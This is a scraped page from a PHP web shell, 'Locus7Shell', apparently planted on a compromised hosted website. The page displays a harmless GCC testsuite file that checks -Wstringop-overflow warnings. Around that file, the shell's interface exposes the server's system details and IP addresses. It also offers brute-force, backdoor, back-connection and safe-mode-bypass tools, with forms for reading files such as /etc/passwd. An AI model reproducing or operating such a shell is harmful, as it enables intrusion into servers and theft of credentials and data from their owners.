Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Wstringop-overflow-88.c (9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR middle-end/101475 - missing -Wstringop-overflow storing a compound
   literal
   { dg-do compile }
   { dg-options "-O2 -fno-tree-vectorize" } */

extern char ea1[1], ea2[2], ea3[3], ea4[4];

/* The trailing A member of all of Sx, S0, and S1 is treated the same:
   as a flexible array member.  */
struct Sx { char n, a[]; };
struct S0 { char n, a[0]; };
struct S1 { char n, a[1]; };
/* The trailing A member in both S2 and S3 is treated as an ordinary
   array with exactly two elements and accesses to elements beyond
   the last are diagnosed regardless of whether they are within
   the bounds the enclosing object.  */
struct S2 { char n, a[2]; };
struct S3 { char n, a[3]; };


void fx_ea1 (void)
{
  struct Sx *p = (struct Sx*)ea1;
  p->n = 0;
  p->a[0] = 0;      // { dg-warning "-Wstringop-overflow" }
  p->a[1] = 1;      // { dg-warning "-Wstringop-overflow" }
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f0_ea1 (void)
{
  struct S0 *p = (struct S0*)ea1;
  p->n = 0;
  p->a[0] = 0;      // { dg-warning "-Wstringop-overflow" }
  p->a[1] = 1;      // { dg-warning "-Wstringop-overflow" }
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f1_ea1 (void)
{
  struct S1 *p = (struct S1*)ea1;
  p->n = 0;
  p->a[0] = 0;      // { dg-warning "-Wstringop-overflow" }
  p->a[1] = 1;      // { dg-warning "-Wstringop-overflow" }
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f2_ea1 (void)
{
  struct S2 *p = (struct S2*)ea1;
  p->n = 0;
  p->a[0] = 0;      // { dg-warning "-Wstringop-overflow" }
  p->a[1] = 1;      // { dg-warning "-Wstringop-overflow" }
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f3_ea1 (void)
{
  struct S3 *p = (struct S3*)ea1;
  p->n = 0;
  p->a[0] = 0;      // { dg-warning "-Wstringop-overflow" }
  p->a[1] = 1;      // { dg-warning "-Wstringop-overflow" }
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}


void fx_ea1_p1 (void)
{
  struct Sx *p = (struct Sx*)(ea1 + 1);
  p->n = 0;         // { dg-warning "-Wstringop-overflow" }
  p->a[0] = 0;      // { dg-warning "-Wstringop-overflow" }
  p->a[1] = 1;      // { dg-warning "-Wstringop-overflow" }
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f0_ea1_p1 (void)
{
  struct S0 *p = (struct S0*)(ea1 + 1);
  p->n = 0;         // { dg-warning "-Wstringop-overflow" }
  p->a[0] = 0;      // { dg-warning "-Wstringop-overflow" }
  p->a[1] = 1;      // { dg-warning "-Wstringop-overflow" }
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f1_ea1_p1 (void)
{
  struct S1 *p = (struct S1*)(ea1 + 1);
  p->n = 0;         // { dg-warning "-Wstringop-overflow" }
  p->a[0] = 0;      // { dg-warning "-Wstringop-overflow" }
  p->a[1] = 1;      // { dg-warning "-Wstringop-overflow" }
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f2_ea1_p1 (void)
{
  struct S2 *p = (struct S2*)(ea1 + 1);
  p->n = 0;         // { dg-warning "-Wstringop-overflow" }
  p->a[0] = 0;      // { dg-warning "-Wstringop-overflow" }
  p->a[1] = 1;      // { dg-warning "-Wstringop-overflow" }
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f3_ea1_p1 (void)
{
  struct S3 *p = (struct S3*)(ea1 + 1);
  p->n = 0;         // { dg-warning "-Wstringop-overflow" }
  p->a[0] = 0;      // { dg-warning "-Wstringop-overflow" }
  p->a[1] = 1;      // { dg-warning "-Wstringop-overflow" }
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}


void fx_ea2 (void)
{
  struct Sx *p = (struct Sx*)ea2;
  p->n = 0;
  p->a[0] = 0;
  p->a[1] = 1;      // { dg-warning "-Wstringop-overflow" }
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f0_ea2 (void)
{
  struct S0 *p = (struct S0*)ea2;
  p->n = 0;
  p->a[0] = 0;
  p->a[1] = 1;      // { dg-warning "-Wstringop-overflow" }
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f1_ea2 (void)
{
  struct S1 *p = (struct S1*)ea2;
  p->n = 0;
  p->a[0] = 0;
  p->a[1] = 1;      // { dg-warning "-Wstringop-overflow" }
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f2_ea2 (void)
{
  struct S2 *p = (struct S2*)ea2;
  p->n = 0;
  p->a[0] = 0;
  p->a[1] = 1;      // { dg-warning "-Wstringop-overflow" }
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f3_ea2 (void)
{
  struct S3 *p = (struct S3*)ea2;
  p->n = 0;
  p->a[0] = 0;
  p->a[1] = 1;      // { dg-warning "-Wstringop-overflow" }
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}


void fx_ea2_p1 (void)
{
  struct Sx *p = (struct Sx*)(ea2 + 1);
  p->n = 0;
  p->a[0] = 0;      // { dg-warning "-Wstringop-overflow" } 
  p->a[1] = 1;      // { dg-warning "-Wstringop-overflow" }
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f0_ea2_p1 (void)
{
  struct S0 *p = (struct S0*)(ea2 + 1);
  p->n = 0;
  p->a[0] = 0;      // { dg-warning "-Wstringop-overflow" }
  p->a[1] = 1;      // { dg-warning "-Wstringop-overflow" }
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f1_ea2_p1 (void)
{
  struct S1 *p = (struct S1*)(ea2 + 1);
  p->n = 0;
  p->a[0] = 0;      // { dg-warning "-Wstringop-overflow" }
  p->a[1] = 1;      // { dg-warning "-Wstringop-overflow" }
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f2_ea2_p1 (void)
{
  struct S2 *p = (struct S2*)(ea2 + 1);
  p->n = 0;
  p->a[0] = 0;      // { dg-warning "-Wstringop-overflow" }
  p->a[1] = 1;      // { dg-warning "-Wstringop-overflow" }
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f3_ea2_p1 (void)
{
  struct S3 *p = (struct S3*)(ea2 + 1);
  p->n = 0;
  p->a[0] = 0;      // { dg-warning "-Wstringop-overflow" }
  p->a[1] = 1;      // { dg-warning "-Wstringop-overflow" }
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}


void fx_ea3 (void)
{
  struct Sx *p = (struct Sx*)ea3;
  p->n = 0;
  p->a[0] = 0;
  p->a[1] = 1;
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f0_ea3 (void)
{
  struct S0 *p = (struct S0*)ea3;
  p->n = 0;
  p->a[0] = 0;
  p->a[1] = 1;
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f1_ea3 (void)
{
  struct S1 *p = (struct S1*)ea3;
  p->n = 0;
  p->a[0] = 0;
  p->a[1] = 1;
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f2_ea3 (void)
{
  struct S2 *p = (struct S2*)ea3;
  p->n = 0;
  p->a[0] = 0;
  p->a[1] = 1;
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f3_ea3 (void)
{
  struct S3 *p = (struct S3*)ea3;
  p->n = 0;
  p->a[0] = 0;
  p->a[1] = 1;
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}


void fx_ea4 (void)
{
  struct Sx *p = (struct Sx*)ea4;
  p->n = 0;
  p->a[0] = 0;
  p->a[1] = 1;
  p->a[2] = 2;
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f0_ea4 (void)
{
  struct S0 *p = (struct S0*)ea4;
  p->n = 0;
  p->a[0] = 0;
  p->a[1] = 1;
  p->a[2] = 2;
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f1_ea4 (void)
{
  struct S1 *p = (struct S1*)ea4;
  p->n = 0;
  p->a[0] = 0;
  p->a[1] = 1;
  p->a[2] = 2;
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f2_ea4 (void)
{
  struct S2 *p = (struct S2*)ea4;
  p->n = 0;
  p->a[0] = 0;
  p->a[1] = 1;
  /* Even though the offset of p->a[2] is within the bounds of EA4
     the warning triggers because it only considers trailing arrays
     of at mnost one element as "poor man's flexible arrays."  */
  p->a[2] = 2;      // { dg-warning "-Wstringop-overflow" }
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

void f3_ea4 (void)
{
  struct S3 *p = (struct S3*)ea4;
  p->n = 0;
  p->a[0] = 0;
  p->a[1] = 1;
  p->a[2] = 2;
  p->a[3] = 3;      // { dg-warning "-Wstringop-overflow" }
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.006 ]--